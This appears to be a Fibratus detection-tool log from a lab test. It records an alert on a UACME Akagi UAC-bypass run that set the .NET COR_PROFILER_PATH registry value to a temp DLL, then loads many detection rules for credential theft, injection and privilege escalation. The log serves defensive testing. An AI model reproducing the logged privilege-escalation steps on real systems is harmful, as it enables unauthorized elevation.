+ Pid: 18024 + Tid: 16956 + Type: RegSetValue + CPU: 3 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 18:38:17.6342561 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce861ccb08f0, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 18024 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T18:38:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:38:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:38:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:40:30+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:40:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:40:30+01:00 level=info msg=bootstrapping with pid 19296. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:40:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 flush-interval=>1s enable-fileio=>true enable-mem=>false enable-audit-api=>true enable-net=>true enable-dns=>false min-buffers=>16 enable-thread=>true enable-image=>true enable-handle=>false stack-enrichment=>true buffer-size=>512 enable-vamap=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ 